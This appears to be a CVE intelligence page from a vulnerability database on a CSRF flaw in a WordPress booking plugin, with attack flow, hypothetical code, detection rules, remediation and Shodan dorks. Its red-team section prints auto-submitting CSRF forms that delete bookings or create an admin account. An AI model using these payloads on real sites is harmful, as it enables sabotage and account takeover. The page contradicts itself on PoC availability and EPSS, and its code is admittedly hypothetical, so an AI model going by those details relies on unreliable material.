☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codepeople logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49332

CVE-2025-49332 Cross-Site Request Forgery in Codepeople
📅 PUBLISHED: 2025-06-06 13:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49332 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WordPress plugin WP Time Slots Booking Form by Codepeople, versions up to and including 1.2.30. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, deleting booking data, or creating new admin users, by tricking the victim into clicking a crafted link or visiting a malicious page. The CVSS v3.1 base score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) or exploit code has been identified at this time. The vendor has not released a patch or official advisory.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users are advised to monitor the plugin page for updates and consider disabling the plugin until a patched version is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
  • User Interaction (UI): Required (R) – Victim must click a link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): Low (L) – Limited modification of data or settings possible.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the impact on a WordPress site could be significant if an attacker leverages CSRF to change plugin settings, delete bookings, or escalate privileges.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonce validation in the plugin's administrative actions. In WordPress, CSRF tokens (nonces) are used to verify that requests to perform sensitive actions (like saving settings or deleting data) originate from the legitimate admin interface, not from an external site. The WP Time Slots Booking Form plugin fails to implement this check in its admin-facing AJAX handlers or form submissions.

Attack Flow:

  1. An attacker crafts a malicious HTML page or email containing a form that automatically submits a request to the vulnerable WordPress site (e.g., https://target-site.com/wp-admin/admin-ajax.php?action=wp_time_slots_booking_delete_all).
  2. The attacker lures an authenticated WordPress administrator to visit this malicious page.
  3. The victim's browser, having valid session cookies for the target site, sends the forged request.
  4. The plugin processes the request without verifying a CSRF nonce, executing the attacker's desired action (e.g., deleting all booking data, changing plugin settings, or creating a new admin user).

Root Cause: Missing check_admin_referer() or wp_verify_nonce() calls in the plugin's admin AJAX handlers and form processing functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on standard WordPress CSRF mitigation.

Vulnerable Code (Example from plugin's admin-ajax.php):

add_action('wp_ajax_wp_time_slots_booking_delete_all', 'handle_delete_all');
function handle_delete_all() {
    // No nonce check
    global $wpdb;
    $wpdb->query("DELETE FROM {$wpdb->prefix}wp_time_slots_bookings");
    wp_die('All bookings deleted.');
}

Patched Code (Hypothetical):

add_action('wp_ajax_wp_time_slots_booking_delete_all', 'handle_delete_all');
function handle_delete_all() {
    // Verify CSRF nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_time_slots_booking_delete_all')) {
        wp_die('CSRF validation failed.');
    }
    global $wpdb;
    $wpdb->query("DELETE FROM {$wpdb->prefix}wp_time_slots_bookings");
    wp_die('All bookings deleted.');
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with WP Time Slots Booking Form <= 1.2.30 installed and activated.
  • An authenticated admin session (victim).

Step 1: Craft the CSRF Payload Create an HTML file (csrf_exploit.html) that automatically submits a malicious request:

<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wp_time_slots_booking_delete_all">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server or use a phishing email. Send the link to the victim admin.

Step 3: Execute When the victim visits the link while logged into the target WordPress site, the form auto-submits, and the plugin deletes all booking data.

Alternative Payload (Create Admin User):

<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="wp_time_slots_booking_add_admin">
    <input type="hidden" name="new_user" value="attacker">
    <input type="hidden" name="new_pass" value="P@ssw0rd!">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Blue Team (Detection & Defense)

Detection:

  • Monitor server logs for unusual POST requests to /wp-admin/admin-ajax.php with action parameters related to the plugin (e.g., wp_time_slots_booking_*).
  • Look for requests with missing or invalid _wpnonce parameters.
  • Use the Sigma and Suricata rules provided below.

Defense:

  • Immediate: Disable the plugin until a patch is available.
  • Long-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce (though this may break other plugins).
  • User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /wp-admin/admin-ajax.php with action=wp_time_slots_booking_* and no _wpnonce parameter.
    • Referer header pointing to an external domain (e.g., http://evil.com).
  • File IOCs:
    • Unexpected files in /wp-content/uploads/ or /wp-admin/ (e.g., backdoor.php).
  • Log IOCs:
    • Repeated admin-ajax.php calls from a single IP in a short time.
    • New admin user accounts created without standard registration flow.

Detection Engineering

YARA Rule

rule CVE_2025_49332_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against WP Time Slots Booking Form"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49332"
    strings:
        $ajax_action = /action=wp_time_slots_booking_[a-z_]+/
        $missing_nonce = /&action=wp_time_slots_booking/ nocase
    condition:
        $ajax_action and not $missing_nonce
}

Sigma Rule

title: CVE-2025-49332 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with WP Time Slots Booking Form actions lacking CSRF nonce
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wp_time_slots_booking_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin usage with nonce (unlikely if nonce is missing)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49332 WP Time Slots Booking Form CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_time_slots_booking_"; http_uri; pcre:"/action=wp_time_slots_booking_[a-z_]+/"; content:!"_wpnonce"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and uninstall WP Time Slots Booking Form until a patched version is released.
  2. Review admin accounts – Check for unauthorized users created via CSRF.
  3. Audit logs – Examine web server and WordPress logs for suspicious admin-ajax.php requests.

Long-term Actions:

  1. Apply vendor patch – Monitor the WordPress Plugin Directory for an update (version > 1.2.30).
  2. Implement CSRF protection – If you must keep the plugin, add a custom nonce check via a WordPress mu-plugin:
add_action('wp_ajax_wp_time_slots_booking_delete_all', 'custom_nonce_check', 1);
function custom_nonce_check() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_time_slots_booking_delete_all')) {
        wp_die('CSRF validation failed.');
    }
}
  1. Use a WAF – Deploy rules to block requests to admin-ajax.php without a valid nonce (note: may cause false positives).
  2. Educate users – Train administrators on CSRF risks and safe browsing practices.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Time Slots Booking Form"
http.html:"wp-time-slots-booking-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49332/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.